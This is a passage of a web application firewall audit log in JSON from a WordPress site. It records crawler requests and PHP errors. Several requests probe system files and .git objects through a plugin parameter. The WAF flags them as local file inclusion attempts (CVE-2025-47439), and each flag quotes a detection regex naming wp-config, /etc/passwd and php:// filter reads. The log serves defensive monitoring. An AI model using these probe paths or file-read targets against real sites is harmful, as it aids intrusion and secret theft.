Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/v/vt420f||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":187,"p2":3819,"p3":0,"p4":0,"p5":255,"sr":102,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:49:39.442342 +0100","transaction_id":"abOlchQsu-n2gr4PXlWcGgAAAQM","remote_address":"57.141.20.48","remote_port":53098,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/t/tvi912b-p-vb HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"ad586dd7280c4df208649325bf322e33","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2755310"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ad586dd7280c4df208649325bf322e33","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/tvi912b-p-vb||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":340,"p2":6656,"p3":0,"p4":0,"p5":359,"sr":146,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:49:58.152819 +0100","transaction_id":"abOlhWOvBHqXP6jl8arNkQAAABA","remote_address":"57.141.20.24","remote_port":34564,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/01/490ff64f462714e29ec4f3c4eba902ce91d33e HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.24","X-Forwarded-Proto":"https","X-Request-Id":"baded7cf578a17b403ca16db3262f7d2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11141627"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"baded7cf578a17b403ca16db3262f7d2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/01/490ff64f462714e29ec4f3c4eba902ce91d33e||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":293,"p2":5093,"p3":0,"p4":0,"p5":279,"sr":96,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:50:18.744259 +0100","transaction_id":"abOlmlmBVxWGJzaI8WA_zwAAAY8","remote_address":"57.141.20.10","remote_port":53042,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/mr/LC_MESSAGES/iso_639_3.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.10","X-Forwarded-Proto":"https","X-Request-Id":"ef74341eb4b5fcd95ff099d2a8d62bd1","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9208254"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ef74341eb4b5fcd95ff099d2a8d62bd1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/mr/LC_MESSAGES/iso_639_3.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":327,"p2":6459,"p3":0,"p4":0,"p5":314,"sr":194,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:50:24.734656 +0100","transaction_id":"abOloOzjYSjefEszC8x_JgAAAdY","remote_address":"114.119.145.169","remote_port":35100,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/217060351 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.145.169","X-Forwarded-Proto":"http","X-Request-Id":"e0cd913a52f4ca4222c2870b491d31d3","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10453967","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"e0cd913a52f4ca4222c2870b491d31d3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":322,"p2":9296,"p3":0,"p4":0,"p5":289,"sr":168,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:50:37.009028 +0100","transaction_id":"abOlrBLi46gS4DJVzjWcjAAAAkk","remote_address":"57.141.20.22","remote_port":52656,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/smooth-back-to-top-button/smooth-back-to-top-button.1.2.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.22","X-Forwarded-Proto":"https","X-Request-Id":"125c373010bd252ce9fcc7bb893d71ad","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2034187"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"125c373010bd252ce9fcc7bb893d71ad","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/smooth-back-to-top-button/smooth-back-to-top-button.1.2.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":190,"p2":3904,"p3":0,"p4":0,"p5":439,"sr":95,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:53:37.350733 +0100","transaction_id":"abOmYVmBVxWGJzaI8WBBVgAAAY8","remote_address":"114.119.150.95","remote_port":36834,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/258334251 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"0a26042bdd25035b246c01e24ae61f1d","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11273194","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"0a26042bdd25035b246c01e24ae61f1d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":276,"p2":4840,"p3":0,"p4":0,"p5":400,"sr":127,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:56:21.566955 +0100","transaction_id":"abOnBLC1B_6BYICFawvAfAAAAVQ","remote_address":"114.119.140.84","remote_port":37988,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/265242851 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.140.84","X-Forwarded-Proto":"http","X-Request-Id":"2e67f4d17426dc1020f6183c8c93355b","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2034430","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"2e67f4d17426dc1020f6183c8c93355b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":258,"p2":4242,"p3":0,"p4":0,"p5":320,"sr":125,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:02:08.897135 +0100","transaction_id":"abOoYBQsu-n2gr4PXlWh6wAAARU","remote_address":"114.119.142.37","remote_port":52262,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/208704251 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"7b2f7c124970ea00de759ee81dbf10b4","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8947436","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"7b2f7c124970ea00de759ee81dbf10b4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":158,"p2":3044,"p3":0,"p4":0,"p5":388,"sr":97,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:04:48.066871 +0100","transaction_id":"abOo_7C1B_6BYICFawvEIgAAAVg","remote_address":"114.119.137.105","remote_port":43604,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/97126951 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.137.105","X-Forwarded-Proto":"http","X-Request-Id":"1a3b712a290cde6b220d9bdc6d7a3e2e","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2722172","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"1a3b712a290cde6b220d9bdc6d7a3e2e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":269,"p2":4982,"p3":0,"p4":0,"p5":291,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:05:57.997816 +0100","transaction_id":"abOpRRLi46gS4DJVzjWi3QAAAkI","remote_address":"57.141.20.44","remote_port":40004,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/mjw_IN/LC_MESSAGES/SYS_LC_MESSAGES HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.44","X-Forwarded-Proto":"https","X-Request-Id":"99f5845e4b8ffe9d247164e251b64d53","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4721206"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"99f5845e4b8ffe9d247164e251b64d53","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/mjw_IN/LC_MESSAGES/SYS_LC_MESSAGES||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":199,"p2":10061,"p3":0,"p4":0,"p5":380,"sr":122,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:07:26.229923 +0100","transaction_id":"abOpnRLi46gS4DJVzjWjGgAAAlU","remote_address":"114.119.137.105","remote_port":51178,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/213521651 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.137.105","X-Forwarded-Proto":"http","X-Request-Id":"a088a7fdc868bf4bf30cf0992fe12e57","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12026323","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"a088a7fdc868bf4bf30cf0992fe12e57","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":197,"p2":4112,"p3":0,"p4":0,"p5":328,"sr":127,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:08:01.859791 +0100","transaction_id":"abOpwRQsu-n2gr4PXlWj7AAAARA","remote_address":"57.141.20.3","remote_port":55064,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/70/f7bc6411c119cd5ac73f9966e871433a508237 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.3","X-Forwarded-Proto":"https","X-Request-Id":"7c3dba70df72b4b4e74a4b5681aa9f71","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9897753"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7c3dba70df72b4b4e74a4b5681aa9f71","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/70/f7bc6411c119cd5ac73f9966e871433a508237||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":222,"p2":4336,"p3":0,"p4":0,"p5":396,"sr":117,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:08:38.738552 +0100","transaction_id":"abOp5mOvBHqXP6jl8arVWAAAAA8","remote_address":"57.141.20.38","remote_port":59336,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/b4/b785ed196497d67daf53f0a6fc931a8c1eb73f HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.38","X-Forwarded-Proto":"https","X-Request-Id":"ad20cb91b2e65aba0bfd7e185739123d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10421193"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; 